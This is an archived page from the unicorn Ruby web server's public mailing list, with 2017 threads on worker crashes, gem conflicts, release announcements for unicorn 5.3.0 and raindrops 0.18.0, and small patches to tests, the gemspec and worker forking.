> maybe you can check build logs for const warnings.
>
>
> Can you share the list of RubyGems you have loaded and maybe try
> upgrading/replacing/eliminating the ones with C extensions
> one-by-one until the error stops?
Thank you very much for your fast reply. I'm not using Bundler to
manage my dependencies, but I checked it and there's not any conflict
between gem versions.
Seems that I solved the issue removing some of the gems. This was my gem list:
cuba -v 3.8.0
slim -v 3.0.8
cutest -v 1.2.3
rack-test -v 0.6.3
sequel -v 4.46.0
pg -v 0.20.0
shotgun -v 0.9.2
shield -v 2.1.1
sequel_pg -v 1.6.19
unicorn -v 5.3.0
capistrano-rbenv -v 2.1.1
And I finally removed these gems:
cutest -v 1.2.3
rack-test -v 0.6.3
shotgun -v 0.9.2
sequel_pg -v 1.6.19
I suspect that the conflicting gem was 'sequel_pg' (sequel_pg
overwrites the inner loop of the Sequel postgres adapter row fetching
code with a C version. The C version is significantly faster than the
pure ruby version that Sequel uses by default), but given I didn't
remove these gems one by one I can't completely ensure that.
If the problem reemerges I'll keep you informed.
Thanks!! :)
>
> Also, perhaps the output of "pmap $PID_OF_WORKER" if you're on
> Linux (or equivalent command if you're on another OS).
>
> Anyways, I didn't notice anything suspicious in your config.
>
> I'll do another self-audit of the unicorn + kgio + raindrops
> extensions, too, but judging from the lack of reports and how
> much they get used; I suspect the bug is elsewhere (more eyes
> welcome, of course).
>
> Thanks for the report and any more info you can provide!
^ permalink raw reply [relevance 3%]
* Re: Master Process Reaping Worker with No message
2017-05-23 13:20 2% Master Process Reaping Worker with No message Aakash Gupta
@ 2017-05-23 16:22 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-05-23 16:22 UTC (permalink / raw)
To: Aakash Gupta; +Cc: unicorn-public
Aakash Gupta <aakash.gupta96@outlook.com> wrote:
> I am using unicorn server with Nginx for running my Rails app.
> I don't know why but my master server is reaping workers
> continously while file uploads. I have raised the timeout
> limit of unicorn to 20 minutes for giving sufficient time for
> uploading file. This happends mostly during file uploads on
> server. For file uploads, I am using Carrierwave gem with Fog
> to upload the files to S3. Server is running on AWS EC2
> instance of 1GB RAM with 2GB Swap space. Master process kills
> worker with message "ERROR : reaped ... SIGKILL (signal 9)>
> worker=1 " without any reason or message such as timeout or
> memory overflow.
I don't know anything about Carrierwave or Fog; but is there any
chance they (or anything in your app) could be sending a SIGKILL
signal to the process?
So you see the "reaped ... SIGKILL" message, but no corresponding
message like "worker=... PID:... timeout (... > ...), killing"?
It sounds like somebody else is sending SIGKILL to a worker...
Is this AWS EC2 instance running Linux? Check the kernel log
(dmesg) to see if you're hitting the OOM killer, since the
kernel OOM killer will also send SIGKILL to processes using too
much memory.
How big are the files you're uploading? Can you reproduce this
making small file uploads?
Honestly, there's no reason any process should become
memory-dependent based on the size of the file being uploaded;
but maybe some code doesn't know how to stream correctly :<
Fwiw, unicorn itself has always designed for handling
multi-gigabyte uploads with stable memory usage in mind.
Other code I've seen, not so much, unfortunately.
> Whenever a worker is reaped, Nginx also logs an error for each
> reaping instance with message: " upstream prematurely closed
> connection while reading response header from upstream ..."
Right, that is expected once workers start dying...
> I need help to figure out the problem and the reason why this
> is happening. I don't think this is happening because of
> timeout issue because whenever I try to test my server by
> uploading a file, this error appears even before 20 minutes
> which is the timeout limit. Any help regarding this would be
> appreciated.
Which unicorn version is this? There used to be some timeout
calculation bugs in the old days, but those were over five
years ago, maybe even before unicorn 1.0.
Just covering all your bases, Also, is there any chance your
system clock is being changed? If you're using unicorn 5.0.0+
with Ruby 2.1+, it'll be able to use the monotonic clock, making
it immune to time changes.
Thanks for any info you can provide!
^ permalink raw reply [relevance 0%]
* Master Process Reaping Worker with No message
@ 2017-05-23 13:20 2% Aakash Gupta
2017-05-23 16:22 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Aakash Gupta @ 2017-05-23 13:20 UTC (permalink / raw)
To: unicorn-public@bogomips.org
I am using unicorn server with Nginx for running my Rails app. I don't know why but my master server is reaping workers continously while file uploads. I have raised the timeout limit of unicorn to 20 minutes for giving sufficient time for uploading file. This happends mostly during file uploads on server. For file uploads, I am using Carrierwave gem with Fog to upload the files to S3. Server is running on AWS EC2 instance of 1GB RAM with 2GB Swap space.
Master process kills worker with message "ERROR : reaped ... SIGKILL (signal 9)> worker=1 " without any reason or message such as timeout or memory overflow.
Whenever a worker is reaped, Nginx also logs an error for each reaping instance with message:
" upstream prematurely closed connection while reading response header from upstream ..."
I need help to figure out the problem and the reason why this is happening. I don't think this is happening because of timeout issue because whenever I try to test my server by uploading a file, this error appears even before 20 minutes which is the timeout limit. Any help regarding this would be appreciated.
^ permalink raw reply [relevance 2%]
* [ANN] unicorn 5.3.0 - Rack HTTP server for fast clients and Unix
@ 2017-04-01 8:08 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-04-01 8:08 UTC (permalink / raw)
To: ruby-talk, unicorn-public
Cc: Jeremy Evans, Simon Eskildsen, Dylan Thacker-Smith
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* mail archives: https://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes:
unicorn 5.3.0
A couple of portability fixes from Dylan Thacker-Smith and
Jeremy Evans since 5.3.0.pre1 over a week ago, but this looks
ready for a stable release, today.
When I started this over 8 years ago, I wondered if this would
just end up being an April Fools' joke. Guess not. I guess I
somehow tricked people into using a terribly marketed web server
that cannot talk directly to untrusted clients :x Anyways,
unicorn won't be able to handle slow clients 8 years from now,
either, or 80 years from now. And I vow never to learn to use
new-fangled things like epoll, kqueue, or threads :P
Anyways, this is a largish release with several new features,
and no backwards incompatibilities.
Simon Eskildsen contributed heavily using TCP_INFO under Linux
to implement the (now 5 year old) check_client_connection feature:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-check_client_connection
https://bogomips.org/unicorn-public/?q=s:check_client_connection&d:..20170401&x=t
This also led to FreeBSD and OpenBSD portability improvements in
one of our dependencies, raindrops:
https://bogomips.org/raindrops-public/20170323024829.GA5190@dcvr/T/#u
Jeremy Evans contributed several new features. First he
implemented after_worker_exit to aid debugging:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_exit
https://bogomips.org/unicorn-public/?q=s:after_worker_exit&d:..20170401&x=t#t
And then security-related features to isolate workers. Workers
may now chroot to drop access to the master filesystem, and the
new after_worker_ready configuration hook now exists to aid with
chroot support in workers:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_ready
https://bogomips.org/unicorn/Unicorn/Worker.html#method-i-user
https://bogomips.org/unicorn-public/?q=s:after_worker_ready&d:..20170401&x=t#t
https://bogomips.org/unicorn-public/?q=s:chroot&d:..20170401&x=t#t
Additionally, workers may run in a completely different VM space
(nullifying preload_app and any CoW savings) with the new
worker_exec option:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-worker_exec
https://bogomips.org/unicorn-public/?q=s:worker_exec&d:..20170401&x=t#t
There are also several improvements to FreeBSD and OpenBSD
support with the addition of these features.
shortlog of changes since v5.2.0 (2016-10-31):
Dylan Thacker-Smith (1):
Check for Socket::TCP_INFO constant before trying to get TCP_INFO
Eric Wong (30):
drop rb_str_set_len compatibility replacement
TUNING: document THP caveat for Linux users
tee_input: simplify condition for IO#write
remove response_start_sent
http_request: freeze constant strings passed IO#write
Revert "remove response_start_sent"
t/t0012-reload-empty-config.sh: access ivars directly if needed
t0011-active-unix-socket.sh: fix race condition in test
new test for check_client_connection
revert signature change to HttpServer#process_client
support "struct tcp_info" on non-Linux and Ruby 2.2+
unicorn_http: reduce rb_global_variable calls
oob_gc: rely on opt_aref_with optimization on Ruby 2.2+
http_request: reduce insn size for check_client_connection
freebsd: avoid EINVAL when setting accept filter
test-lib: expr(1) portability fix
tests: keep disabled tests defined
test_exec: SO_KEEPALIVE value only needs to be true
doc: fix links to raindrops project
http_request: support proposed Raindrops::TCP states on non-Linux
ISSUES: expand on mail archive info + subscription disclaimer
test_ccc: use a pipe to synchronize test
doc: remove private email support address
input: update documentation and hide internals.
http_server: initialize @pid ivar
gemspec: remove olddoc from build dependency
doc: add version annotations for new features
unicorn 5.3.0.pre1
doc: note after_worker_exit is also 5.3.0+
test_exec: SO_KEEPALIVE value only needs to be true (take #2)
Jeremy Evans (7):
Add after_worker_exit configuration option
Fix code example in after_worker_exit documentation
Add support for chroot to Worker#user
Add after_worker_ready configuration option
Add worker_exec configuration option
Don't pass a block for fork when forking workers
Check for SocketError on first ccc attempt
Simon Eskildsen (1):
check_client_connection: use tcp state on linux
--
Yes, this release is real despite the date.
^ permalink raw reply [relevance 3%]
* [PATCH] test_exec: SO_KEEPALIVE value only needs to be true (take #2)
@ 2017-03-27 22:36 8% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-27 22:36 UTC (permalink / raw)
To: unicorn-public
We need to ensure the portability of the sd_listen_fds emulation
test, too, which didn't get tested on my FreeBSD 10.3 install
due to it being on Ruby 2.2
Followup-to: 4ce6b00f75f1 ("test_exec: SO_KEEPALIVE value only needs to be true")
---
test/exec/test_exec.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 08f92ae..9723c5c 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -122,7 +122,7 @@ def test_sd_listen_fds_emulation
res = hit(["http://#@addr:#@port/"])
assert_equal [ "HI\n" ], res
assert_shutdown(pid)
- assert_equal 1, sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).int,
+ assert sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).bool,
'unicorn should always set SO_KEEPALIVE on inherited sockets'
end
ensure
--
EW
^ permalink raw reply related [relevance 8%]
* [ANN] unicorn 5.3.0.pre1 - Rack HTTP server for fast clients and Unix
@ 2017-03-24 0:28 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-24 0:28 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Jeremy Evans, Simon Eskildsen
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* mail archives: https://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
This is a pre-release RubyGem intended for testing.
Changes:
unicorn 5.3.0.pre1
A largish release with several new features.
Simon Eskildsen contributed heavily using TCP_INFO under Linux
to implement the (now 5 year old) check_client_connection feature:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-check_client_connection
https://bogomips.org/unicorn-public/?q=s:check_client_connection&d:..20170324&x=t
This also led to FreeBSD and OpenBSD portability improvements in
one of our dependencies, raindrops:
https://bogomips.org/raindrops-public/20170323024829.GA5190@dcvr/T/#u
Jeremy Evans contributed several new features. First he
implemented after_worker_exit to aid debugging:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_exit
https://bogomips.org/unicorn-public/?q=s:after_worker_exit&d:..20170324&x=t#t
And then security-related features to isolate workers. Workers
may now chroot to drop access to the master filesystem, and the
new after_worker_ready configuration hook now exists to aid with
chroot support in workers:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_ready
https://bogomips.org/unicorn/Unicorn/Worker.html#method-i-user
https://bogomips.org/unicorn-public/?q=s:after_worker_ready&d:..20170324&x=t#t
https://bogomips.org/unicorn-public/?q=s:chroot&d:..20170324&x=t#t
Additionally, workers may run in a completely different VM space
(nullifying preload_app and any CoW savings) with the new
worker_exec option:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-worker_exec
https://bogomips.org/unicorn-public/?q=s:worker_exec&d:..20170324&x=t#t
There are also several improvements to FreeBSD and OpenBSD
support with the addition of these features.
34 changes since 5.2.0 (2016-10-31):
Eric Wong (27):
drop rb_str_set_len compatibility replacement
TUNING: document THP caveat for Linux users
tee_input: simplify condition for IO#write
remove response_start_sent
http_request: freeze constant strings passed IO#write
Revert "remove response_start_sent"
t/t0012-reload-empty-config.sh: access ivars directly if needed
t0011-active-unix-socket.sh: fix race condition in test
new test for check_client_connection
revert signature change to HttpServer#process_client
support "struct tcp_info" on non-Linux and Ruby 2.2+
unicorn_http: reduce rb_global_variable calls
oob_gc: rely on opt_aref_with optimization on Ruby 2.2+
http_request: reduce insn size for check_client_connection
freebsd: avoid EINVAL when setting accept filter
test-lib: expr(1) portability fix
tests: keep disabled tests defined
test_exec: SO_KEEPALIVE value only needs to be true
doc: fix links to raindrops project
http_request: support proposed Raindrops::TCP states on non-Linux
ISSUES: expand on mail archive info + subscription disclaimer
test_ccc: use a pipe to synchronize test
doc: remove private email support address
input: update documentation and hide internals.
http_server: initialize @pid ivar
gemspec: remove olddoc from build dependency
doc: add version annotations for new features
Jeremy Evans (6):
Add after_worker_exit configuration option
Fix code example in after_worker_exit documentation
Add support for chroot to Worker#user
Add after_worker_ready configuration option
Add worker_exec configuration option
Don't pass a block for fork when forking workers
Simon Eskildsen (1):
check_client_connection: use tcp state on linux
--
5.3.0 in a week, maybe?
^ permalink raw reply [relevance 3%]
* [PATCH] gemspec: remove olddoc from build dependency
@ 2017-03-23 23:34 4% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-23 23:34 UTC (permalink / raw)
To: Pirate Praveen; +Cc: Hleb Valoshka, debian-ruby, unicorn-public
Pirate Praveen <praveen@onenetbeyond.org> wrote:
> If you can make it optional that would be great. For now I've just
> patched out the gemspec to not use olddoc. The patch and fix in rules is
> ugly.
Pushed the following to "master" of git://bogomips.org/unicorn
-----8<----
Subject: [PATCH] gemspec: remove olddoc from build dependency
It's a little less DRY, and there'll be no NEWS file generated,
but it's one less thing to install, so perhaps that's worth it.
The website at https://bogomips.org/unicorn/ will continue
to use olddoc, of course,
---
HACKING | 1 -
unicorn.gemspec | 22 ++++++++++------------
2 files changed, 10 insertions(+), 13 deletions(-)
diff --git a/HACKING b/HACKING
index d55f1c7..be1bb85 100644
--- a/HACKING
+++ b/HACKING
@@ -104,7 +104,6 @@ don't email the git mailing list or maintainer with Unicorn patches :)
In order to build the gem, you must install the following components:
- * olddoc (RubyGem)
* pandoc
You can build the Unicorn gem with the following command:
diff --git a/unicorn.gemspec b/unicorn.gemspec
index cf65aef..6dc0086 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -1,9 +1,6 @@
# -*- encoding: binary -*-
-ENV["VERSION"] or abort "VERSION= must be specified"
-manifest = File.readlines('.manifest').map! { |x| x.chomp! }
-require 'olddoc'
-extend Olddoc::Gemspec
-name, summary, title = readme_metadata
+manifest = File.exist?('.manifest') ?
+ IO.readlines('.manifest').map!(&:chomp!) : `git ls-files`.split("\n")
# don't bother with tests that fork, not worth our time to get working
# with `gem check -t` ... (of course we care for them when testing with
@@ -14,16 +11,18 @@
Gem::Specification.new do |s|
s.name = %q{unicorn}
- s.version = ENV["VERSION"].dup
- s.authors = ["#{name} hackers"]
- s.summary = summary
- s.description = readme_description
+ s.version = (ENV['VERSION'] || '5.2.0').dup
+ s.authors = ['unicorn hackers']
+ s.summary = 'Rack HTTP server for fast clients and Unix'
+ s.description = File.read('README').split("\n\n")[1]
s.email = %q{unicorn-public@bogomips.org}
s.executables = %w(unicorn unicorn_rails)
s.extensions = %w(ext/unicorn_http/extconf.rb)
- s.extra_rdoc_files = extra_rdoc_files(manifest)
+ s.extra_rdoc_files = IO.readlines('.document').map!(&:chomp!).keep_if do |f|
+ File.exist?(f)
+ end
s.files = manifest
- s.homepage = Olddoc.config['rdoc_url']
+ s.homepage = 'https://bogomips.org/unicorn/'
s.test_files = test_files
# technically we need ">= 1.9.3", too, but avoid the array here since
@@ -40,7 +39,6 @@
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('test-unit', '~> 3.0')
- s.add_development_dependency('olddoc', '~> 1.2')
# Note: To avoid ambiguity, we intentionally avoid the SPDX-compatible
# 'Ruby' here since Ruby 1.9.3 switched to BSD-2-Clause, but we
--
EW
^ permalink raw reply related [relevance 4%]
* [ANN] raindrops 0.18.0 - real-time stats for preforking Rack servers
@ 2017-03-23 2:48 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-23 2:48 UTC (permalink / raw)
To: ruby-talk, raindrops-public; +Cc: unicorn-public, Simon Eskildsen, Jeremy Evans
raindrops is a real-time stats toolkit to show statistics for Rack HTTP
servers. It is designed for preforking servers such as unicorn, but
should support any Rack HTTP server on platforms supporting POSIX shared
memory. It may also be used as a generic scoreboard for sharing atomic
counters across multiple processes.
* https://bogomips.org/raindrops/
* No subscription necessary, no HTML mail:
raindrops-public@bogomips.org
* mail archives: https://bogomips.org/raindrops-public/
http://ou63pmih66umazou.onion/raindrops-public/
nntp://news.public-inbox.org/inbox.comp.lang.ruby.raindrops
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.raindrops
* git clone git://bogomips.org/raindrops.git
* https://bogomips.org/raindrops/NEWS.atom.xml
* Demo site: https://raindrops-demo.bogomips.org:8443/
Changes:
raindrops 0.18.0
The most notable feature of this release is the addition of
FreeBSD and OpenBSD TCP_INFO support. This includes the
Raindrops::TCP for portably mapping TCP state names to
platform-dependent numeric values:
https://bogomips.org/raindrops/Raindrops.html#TCP
Thanks to Jeremy Evans and Simon Eskildsen on the
unicorn-public@bogomips.org mailing list for inspiring
these changes to raindrops.
There's also a few internal cleanups, and documentation
improvements, including some fixes to the largely-forgotten
Raindrops::Aggreage::PMQ class:
https://bogomips.org/raindrops/Raindrops/Aggregate/PMQ.html
20 changes since 0.17.0:
test_inet_diag_socket: fix Fixnum deprecation warning
TODO: add item for IPv6 breakage
ext: fix documentation for C ext-defined classes
TCP_Info: custom documentation for #get!
TypedData C-API conversion
test_watcher: disable test correctly when aggregate is missing
tcp_info: support this struct under FreeBSD
define Raindrops::TCP hash for TCP states
linux_inet_diag: reduce stack usage and simplify
avoid reading errno repeatedly
aggregate/pmq: avoid false sharing of lock buffers
aggregate/pmq: remove io-extra requirement
aggregate/pmq: avoid File#stat allocation
Merge remote-tracking branch 'origin/freebsd'
Merge remote-tracking branch 'origin/aggregate-pmq'
doc: remove private email support address
doc: update location of TCP_INFO-related stuff
build: avoid olddoc for building the RubyGem
doc: document Raindrops::TCP hash
aggregate/pmq: update version numbers for Ruby and Linux
^ permalink raw reply [relevance 2%]
* [PATCH] test_ccc: use a pipe to synchronize test
@ 2017-03-23 0:05 13% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-23 0:05 UTC (permalink / raw)
To: unicorn-public; +Cc: Simon Eskildsen
Sleeping 1 second to test 100 requests is too long for some
systems; and not long enough for others.
We need to also finish reading the sleeper response to ensure
the server actually got the second request in, before sending
SIGQUIT to terminate it; as it's possible for the test client
to connect and abort 100 clients before the server even
increments the request counter for the 2nd request.
---
Btw, ccc-tcp-v3 is merged to master, and I guess
5.3.0rc1 is coming soon.
test/unit/test_ccc.rb | 11 ++++++++++-
1 file changed, 10 insertions(+), 1 deletion(-)
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
index 22b1a9c..0db0c38 100644
--- a/test/unit/test_ccc.rb
+++ b/test/unit/test_ccc.rb
@@ -12,7 +12,9 @@ def test_ccc_tcpi
port = srv.addr[1]
err = Tempfile.new('unicorn_ccc')
rd, wr = IO.pipe
+ sleep_pipe = IO.pipe
pid = fork do
+ sleep_pipe[1].close
reqs = 0
rd.close
worker_pid = nil
@@ -22,7 +24,10 @@ def test_ccc_tcpi
$$
end
reqs += 1
- sleep(1) if env['PATH_INFO'] == '/sleep'
+
+ # will wake up when writer closes
+ sleep_pipe[0].read if env['PATH_INFO'] == '/sleep'
+
[ 200, [ %w(Content-Length 0), %w(Content-Type text/plain) ], [] ]
end
ENV['UNICORN_FD'] = srv.fileno.to_s
@@ -57,6 +62,10 @@ def test_ccc_tcpi
"Host: example.com\r\n\r\n")
client.close
end
+ sleep_pipe[1].close # wake up the reader in the worker
+ res = sleeper.read
+ assert_match %r{\AHTTP/1\.1 200}, res, 'got part of first sleeper response'
+ assert_match %r{\r\n\r\n\z}, res, 'got end of sleeper response'
sleeper.close
kpid = pid
pid = nil
--
EW
^ permalink raw reply related [relevance 13%]
* Re: [PATCH] check_client_connection: use tcp state on linux
2017-03-08 12:06 2% ` Simon Eskildsen
@ 2017-03-13 20:16 0% ` Simon Eskildsen
0 siblings, 0 replies; 200+ results
From: Simon Eskildsen @ 2017-03-13 20:16 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
I've put ccc-tcp-v3 in production today--it appears to be working as
expected, still rejecting at the exact same rate as before (100-200
per second for us during steady-state).
On Wed, Mar 8, 2017 at 7:06 AM, Simon Eskildsen
<simon.eskildsen@shopify.com> wrote:
> Patch-set looks great Eric, thanks!
>
> I'm hoping to test this in production later this week or next, but
> we're a year behind on Unicorn (ugh), so will need to carefully roll
> that out.
>
> On Tue, Mar 7, 2017 at 7:26 PM, Eric Wong <e@80x24.org> wrote:
>> Eric Wong <e@80x24.org> wrote:
>>> Simon Eskildsen <simon.eskildsen@shopify.com> wrote:
>>> > @@ -28,6 +29,7 @@ class Unicorn::HttpParser
>>> > # Drop these frozen strings when Ruby 2.2 becomes more prevalent,
>>> > # 2.2+ optimizes hash assignments when used with literal string keys
>>> > HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
>>> > + EMPTY_ARRAY = [].freeze
>>>
>>> (minor) this was made before commit e06b699683738f22
>>> ("http_request: freeze constant strings passed IO#write")
>>> but I've trivially fixed it up, locally.
>>
>> And I actually screwed it up, pushed out ccc-tcp-v2 branch
>> with that fix squashed in :x
>>
>> Writing tests, now...
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Add worker_exec configuration option V2
2017-03-11 7:18 2% ` Eric Wong
@ 2017-03-13 15:32 0% ` Jeremy Evans
0 siblings, 0 replies; 200+ results
From: Jeremy Evans @ 2017-03-13 15:32 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 03/11 07:18, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > On 03/10 09:19, Eric Wong wrote:
> > > Jeremy Evans <code@jeremyevans.net> wrote:
> > > > - if pid = fork
> > > > - @workers[pid] = worker
> > > > - worker.atfork_parent
> > > > +
> > > > + pid = if @worker_exec
> > > > + worker_spawn(worker)
> > > > else
> > > > - after_fork_internal
> > > > - worker_loop(worker)
> > > > - exit
> > > > + fork do
> > > > + after_fork_internal
> > > > + worker_loop(worker)
> > > > + exit
> > > > + end
> > >
> > > I prefer to avoid the block with fork. The block deepens the
> > > stack for the running app, so it can affect GC efficiency.
> > >
> > > Can be fixed in a separate patch...
> >
> > That makes sense. If you would like me to send a separate patch to fix
> > it, I can do that.
>
> Yes, please.
>
> Not sure if we should automate the stack depth test...
> I resisted it in the past since it might be too fragile
> w.r.t changes to Ruby (even using "unicorn" via the
> RubyGems-generated wrapper deepens it by 2).
Here's a patch to fix the stack depth issue:
From aa4914846a0870e5b01530a47d6dbfe09aeb39ce Mon Sep 17 00:00:00 2001
From: Jeremy Evans <code@jeremyevans.net>
Date: Mon, 13 Mar 2017 08:28:54 -0700
Subject: [PATCH] Don't pass a block for fork when forking workers
This reduces the stack depth, making GC more efficient.
---
lib/unicorn/http_server.rb | 14 ++++++--------
1 file changed, 6 insertions(+), 8 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index a5bd2c4..023df10 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -541,14 +541,12 @@ def spawn_missing_workers
worker = Unicorn::Worker.new(worker_nr)
before_fork.call(self, worker)
- pid = if @worker_exec
- worker_spawn(worker)
- else
- fork do
- after_fork_internal
- worker_loop(worker)
- exit
- end
+ pid = @worker_exec ? worker_spawn(worker) : fork
+
+ unless pid
+ after_fork_internal
+ worker_loop(worker)
+ exit
end
@workers[pid] = worker
--
2.11.0
^ permalink raw reply related [relevance 0%]
* Re: [PATCH] Add worker_exec configuration option V2
2017-03-11 5:26 4% ` Jeremy Evans
@ 2017-03-11 7:18 2% ` Eric Wong
2017-03-13 15:32 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-03-11 7:18 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> On 03/10 09:19, Eric Wong wrote:
> > tests, later, or you can. I also had some FreeBSD test fixes
> > (which might apply to OpenBSD) on a VM somewhere which I'll Cc:
> > you on: there was also just SO_KEEPALIVE fix I posted:
> >
> > https://bogomips.org/unicorn-public/20170310203431.28067-1-e@80x24.org/raw
>
> The C test code also returns 8 on OpenBSD, FWIW. I'm happy to test any
> test fixes on OpenBSD, just let me know.
Thanks. I'll be happy to help fix any OpenBSD failures you see
from "gmake check" I don't think the accept_filter fixes apply
to OpenBSD, but I guess the expr(1) fix did.
Thank you.
Same goes for NetBSD, DragonflyBSD or any other completely
Free/Open Source OSes anybody else here uses.
> > Jeremy Evans <code@jeremyevans.net> wrote:
> > > - if pid = fork
> > > - @workers[pid] = worker
> > > - worker.atfork_parent
> > > +
> > > + pid = if @worker_exec
> > > + worker_spawn(worker)
> > > else
> > > - after_fork_internal
> > > - worker_loop(worker)
> > > - exit
> > > + fork do
> > > + after_fork_internal
> > > + worker_loop(worker)
> > > + exit
> > > + end
> >
> > I prefer to avoid the block with fork. The block deepens the
> > stack for the running app, so it can affect GC efficiency.
> >
> > Can be fixed in a separate patch...
>
> That makes sense. If you would like me to send a separate patch to fix
> it, I can do that.
Yes, please.
Not sure if we should automate the stack depth test...
I resisted it in the past since it might be too fragile
w.r.t changes to Ruby (even using "unicorn" via the
RubyGems-generated wrapper deepens it by 2).
Thanks again.
^ permalink raw reply [relevance 2%]
* Re: [PATCH] Add worker_exec configuration option V2
2017-03-10 21:19 2% ` Eric Wong
@ 2017-03-11 5:26 4% ` Jeremy Evans
2017-03-11 7:18 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-03-11 5:26 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 03/10 09:19, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > Here's V2 of the patch, which I think should address all of the issues
> > you pointed out.
>
> Thanks. Pushed to git://80x24.org/unicorn worker_exec I can add
> tests, later, or you can. I also had some FreeBSD test fixes
> (which might apply to OpenBSD) on a VM somewhere which I'll Cc:
> you on: there was also just SO_KEEPALIVE fix I posted:
>
> https://bogomips.org/unicorn-public/20170310203431.28067-1-e@80x24.org/raw
The C test code also returns 8 on OpenBSD, FWIW. I'm happy to test any
test fixes on OpenBSD, just let me know.
>
> > worker_nr = -1
> > until (worker_nr += 1) == @worker_processes
> > @workers.value?(worker_nr) and next
> > worker = Unicorn::Worker.new(worker_nr)
> > before_fork.call(self, worker)
> > - if pid = fork
> > - @workers[pid] = worker
> > - worker.atfork_parent
> > +
> > + pid = if @worker_exec
> > + worker_spawn(worker)
> > else
> > - after_fork_internal
> > - worker_loop(worker)
> > - exit
> > + fork do
> > + after_fork_internal
> > + worker_loop(worker)
> > + exit
> > + end
>
> I prefer to avoid the block with fork. The block deepens the
> stack for the running app, so it can affect GC efficiency.
>
> Can be fixed in a separate patch...
That makes sense. If you would like me to send a separate patch to fix
it, I can do that.
Thanks,
Jeremy
^ permalink raw reply [relevance 4%]
* [PATCH] test-lib: expr(1) portability fix
@ 2017-03-10 21:51 15% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-10 21:51 UTC (permalink / raw)
To: unicorn-public; +Cc: Jeremy Evans
GNU expr supports '+' to match one or more occurrences, but
it seems the expr(1) on my FreeBSD installation does not.
---
This only covers the Bourne sh integration tests in t/
I still don't trust the Ruby language (and test libraries
written in it) to not change incompatibility after all these years...
t/test-lib.sh | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/t/test-lib.sh b/t/test-lib.sh
index 28d6a88..7f97958 100644
--- a/t/test-lib.sh
+++ b/t/test-lib.sh
@@ -106,8 +106,8 @@ check_stderr () {
# unicorn_setup
unicorn_setup () {
eval $(unused_listen)
- port=$(expr $listen : '[^:]*:\([0-9]\+\)')
- host=$(expr $listen : '\([^:]*\):[0-9]\+')
+ port=$(expr $listen : '[^:]*:\([0-9]*\)')
+ host=$(expr $listen : '\([^:][^:]*\):[0-9][0-9]*')
rtmpfiles unicorn_config pid r_err r_out fifo tmp ok
cat > $unicorn_config <<EOF
--
EW
^ permalink raw reply related [relevance 15%]
* [PATCH] tests: keep disabled tests defined
@ 2017-03-10 21:26 17% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-10 21:26 UTC (permalink / raw)
To: unicorn-public
Some versions of test-unit will fail if an unspecified test is
attempted via "-n", so we need to define an empty test.
We cannot use "skip", either, as that seems exclusive to
minitest; and we won't use minitest since it has more
incompatible changes than test-unit over the last 8 years.
---
test/exec/test_exec.rb | 7 ++++---
test/unit/test_http_parser.rb | 18 ------------------
